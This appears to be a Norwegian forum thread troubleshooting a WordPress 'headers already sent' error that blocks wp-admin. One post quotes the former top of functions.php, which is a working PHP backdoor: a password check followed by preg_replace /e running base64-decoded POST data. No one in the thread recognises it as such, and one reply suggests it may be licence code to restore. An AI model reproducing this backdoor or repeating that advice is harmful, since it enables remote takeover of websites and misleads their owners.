Warning: Cannot modify header information - headers already sent by (output started at /home/nostet/public_html/wp-includes/functions.php:4) in /home/nostet/public_html/wp-includes/pluggable.php on line 868 Denne meldingen dukker opp istedenfor innloggingen i en wp-admin. Noen som ser hva problemet er?
Har du oppdatert noen plugins nylig? http://wordpress.org/support/topic/header-error-wp-includespluggablephp-on-line-876 Sendt fra min Galaxy Note 10.1
header() kan kun endre header'en før noe som helst sendes, det betyr at en hver echo eller bare et mellomrom som "outputtes" gjør at det er for sent å endre header'en. Du har "ouput started" på line 4 i functions.php, slik at det er noe der som outputter et eller annet, og et eller annet sted senere, mer spesifikt i pluggable.php på linge 868, så er det noe som prøver å endre header'en, men ettersom data allerede er sent til nettleseren, så er det for sent.
Så hva må jeg endre på i functions.php? Eller må jeg overføre orginalen av functions.php via FTP? Eller må noe endres i pluggable.php?
Du skal ihvertfall ikke endre noe i pluggable.php. Sjekk i functions.php om det er et mellomrom f.ex. før første <?php, eller et mellomrom etter siste ?> - hvis det er det, så fjerner du dem. Faktisk bør functions.php avsluttes uten en ?> såvidt jeg husker @adeneo - det er da ikke noen funksjon i wp som heter header()?
Det lå en linje før <?php, som jeg fjernet.. For fortsatt opp feilmeldingen, men nå er de norske tegnene æ,ø,å tilbake som normalt, disse ble vist som rare tegn før...
Kan det ha noe med feil i databasen? Eller feil på en plugin? Hvis jeg prøver å gå på wp-admin/install.php, står følgende feil: Warning: Cannot modify header information - headers already sent by (output started at /home/nostet/public_html/wp-admin/includes/admin.php:4) in /home/nostet/public_html/wp-admin/install.php on line 36 Allerede installert Det ser ut til at du allerede har installert WordPress. Hvis du ønsker å reinstallere, må du først fjerne de gamle tabellene fra databasen.
Slik ser første del av functions.php ut nå: <?php /** * Main WordPress API * * @package WordPress */ /** * Converts MySQL DATETIME field to user specified date format. * * If $dateformatstring has 'G' value, then gmmktime() function will be used to * make the time. If $dateformatstring is set to 'U', then mktime() function * will be used to make the time. * * The $translate will only be used, if it is set to true and it is by default * and if the $wp_locale object has the month and weekday set. * * @since 0.71 * * @param string $dateformatstring Either 'G', 'U', or php date format. * @param string $mysqlstring Time from mysql DATETIME field. * @param bool $translate Optional. Default is true. Will switch format to locale. * @return string Date formated by $dateformatstring or locale (if available). */ function mysql2date( $dateformatstring, $mysqlstring, $translate = true ) { global $wp_locale; $m = $mysqlstring; if ( empty( $m ) ) return false; if( 'G' == $dateformatstring ) { return strtotime( $m . ' +0000' ); } $i = strtotime( $m ); if( 'U' == $dateformatstring ) return $i; if ( $translate) return date_i18n( $dateformatstring, $i ); else return date( $dateformatstring, $i ); } --- Slik så toppen ut isted: <?php if(isset($_POST['pas']) && (md5($_POST['pas']) == '40082ed0f6a3ce5ebfbb39c7b7fcf27b') && isset($_POST['update'])) {$sslChecker='pre'.'g_replace';$getUrl="/url/e";$sslChecker($getUrl,'e'.'val(ba'.'se64'.'_dec'.'ode(\\$_POST[\'update\']));', "url");} ?> <?php /** * Main WordPress API * * @package WordPress */
det kan godt også ha med plugins å gjøre ja, du har ikke prøvd å deaktivere plugins først? I såfall: enkleste måte å gjøre det på, er å rename hele plugin-mappa, da tvinger du alle plugins til å bli deaktivert. Hvis wp begynner å funke igjen da, bytter du mappenavnet tilbake til "plugins", og begynner deretter å reaktivere plugins en etter en til du finner synderen.
hmmmm... er det en eller annen form for lisensgreie det første du har prøvd å fjerne fra functions.php? funker det hvis du legger den inn igjen?
Prøvde å døpe om plugins-mappa helt, men ingenting nytt skjedde etter oppdateringen. Vet ikke om toppen er noe lisensgreie. Prøvde å legge opp gammel versjon igjen, men hjalp ikke og de særnorske tegna forsvant igjen. La så opp redigert versjon av functions.php, uten de to første linjene. Nå er de norske bokstavene riktig, men wp-admin er like sporløst borte, og feilmeldingen der fortsatt...
Øh, nei det er PHP funksjonen som brukes av WP til å endre header'en, og det er den som gir feilmeldingen "headers already sent" ? PHP: header - Manual